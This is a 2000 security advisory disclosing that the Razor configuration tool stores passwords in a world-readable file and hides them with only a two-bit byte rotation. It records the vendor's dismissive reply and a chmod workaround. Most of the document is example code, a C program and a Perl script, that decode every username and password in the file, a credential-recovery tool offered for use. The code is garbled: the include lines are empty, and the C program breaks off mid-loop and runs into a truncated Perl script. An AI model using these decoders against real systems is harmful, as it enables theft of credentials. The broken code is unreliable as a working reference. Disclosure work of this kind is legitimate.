--| |-------------------- Shawn Clifford ---------------------| This advisory follows the RFP disclosure policy: http://www.wiretrip.net/rfp/policy.html ----| ISSUE Razor is a configuration management tool (see http://www.razor.visible.com). There is a serious flaw with the Razor password file, rz_passwd. The problem is two-fold: 1) The enciphering method used to scramble the password is extremely weak, using only a simple bit rotation on each byte. This was obvious after studying the rz_passwd file format for less than 30 minutes. 2) The permissions on rz_passwd are world readable (a+r). If we change the permissions to owner-only readable (mode 400), Razor works fine. But, when a 'razor add_user ....', 'razor remove_user ...', or 'razor passwd' command is issued, the permissions are changed back to world readable. We then tried changing the permissions on the parent directory to rwx------ (mode 700), but Razor was then unable to restart the databases. The Razor password file is found in a directory named Razor_License on the machine acting as the license server. ----| ORIGINATORS Shawn Clifford , Pat Walker Date of contact: 2000-Jun-16 Receipt acknowledgment: 2000-Jun-16 ----| MAINTAINER Visible Systems Corporation 248 Main Street Oneida, NY 13421 315-363-8000 Web page: http://www.visible.com Email contact: mailto:razor_support@visible.com ----| DISCUSSION The razor password file is composed of 51-byte records of three fields of 17 bytes. The fields are: username, encoded password, and group. The username and group fields are stored in ASCII plaintext with NULL padding, and the encoded password is an 8-byte (maximum) field with NULL padding. The enciphered password is created by rotating each byte in the plaintext password right 2 bits. To decode the password, each byte is just rotated left 2 bits. Obviously this is an extremely weak and dangerous method for securing the passwords. In fact, you can sit down with a pad, pencil, and a hex dump of of the password file and decode entries by hand. But to make matters worse, the password file is world readable. A repurcussion of this might be that an attacker recovers a user's Razor password and then tries the password against other accounts that the user may have. I would guess that many users have the same password everywhere. This is a bad password policy, but nearly impossible to detect or deter. ----| SOLUTION Visible said: "Thank you for your suggested enhancement. We have placed your enhancement suggestion in our program database for consideration in future Razor upgrades." Huh?????? If you are a Razor user, I suggest you send them a persuasive email. You may as well do a 'chmod 400' on the parent directory, but keep in mind that the permissions will change the next time you run one of the rz commands that touch the password file. ----| EXAMPLE CODES == dumprazorpasswd.c == #include #include #include #include /************************************************************ dumprazorpasswd - dumprazorpasswd - prompts for input hex string to decode dumprazorpasswd - prints the users and passwords in dumprazorpasswd - encrypts and prints it in hex 16-jun-2000 pbw. ************************************************************/ #define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' ) #define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) ) & 0x00ff) ) #define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + ( c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) ) struct pwent { char uname[17]; char psswd[17]; char gname[17]; }; dumpfile (int fd) { int status, k; struct pwent pwent; while ( (status = read (fd, &pwent, 51)) > 0 ) { if (status != 51) { printf ("fd = %d\n", fd); printf ("partial read! only read %d bytes\n", status); exit(0); } k = 0; while (pwent.psswd[k] != '\0') { ROT8L(pwent.psswd[k], 10); k++; } printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0])); } } main (int argc, char *argv[]) { int fd,i,k; char passwd[18]; char dpasswd[9]; if (argc < 2) { printf("razor passwd to decrypt :"); fgets(passwd, 17, stdin); passwd[strlen(passwd)-1] = 0; k=0; for (i=0 ; i<9 ; dpasswd[i++]=0); for (i=(strlen(passwd)-1) ; i>=0 ; i--) { if (k & 1) { dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0); } else { dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f; } k++; } for (i=0 ; i; chomp $passwd; # # Encrypt the password # print "Hash (in hex): "; for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) { # # For each byte in the password, rotate right 2 bits # $byte = unpack("C", substr($passwd,$i,1)) >> 2; $byte += unpack("C", substr($passwd,$i,1)) << 6; # # Mask off the resultant low byte and save # $hash[$i] = $byte & 0x00ff; printf "%X", $hash[$i]; } print "\n\n"; } else { # We want to decrypt a rz_passwd file or hex string $arg = shift; if ( -f ${arg} ) { # It's a file to process print "\nDecrypting Razor password file: $arg\n"; open(IN, "<${arg}") || die "Can't open passwd file: $!"; $i = 0; while ( read(IN, $buffer, $rec_size) == $rec_size ) { if ($i % $PGLEN == 0) { print "\nUsername Password Group\n"; print "-------- -------- -----\n"; } ($user, @hash, $group) = unpack($rec_fmt, $buffer); $group = substr($buffer, 34, 17); # unpack didn't give me this, why? printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group; $i++; } printf "\n%d password entries\n\n", $i; close(IN); } else { # It had better be a string of hex digits! print "\nDecrypting input hex string: $arg\n"; # # Convert ASCII character string to a binary array # @hash = (); for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) { $byte = hex(substr($arg, $i*2, 2)); $hash[$i] = $byte; } # # Call the decrypt function to print the plaintext password # printf "Plaintext password: %s\n\n", decrypt(@hash); } } sub decrypt { my @hash = @_; # Pick up the passed array my $passwd = (); # Zero the output plaintext scalar my $i; my $byte; # # Decrypt the lamely enciphered password # for ($i=0; $i < $PLEN; $i++) { # # Convert NULLs to spaces # if ($hash[$i] == 0) { $passwd = $passwd . " "; next; } # # For each byte in the hash, rotate left 2 bits # $byte = $hash[$i] << 2; $byte += ($hash[$i] >> 6) & 0x03; # # Mask off the resultant low byte and save # $passwd = $passwd . chr($byte & 0x00ff); } return $passwd; } == passwd_rz.pl ==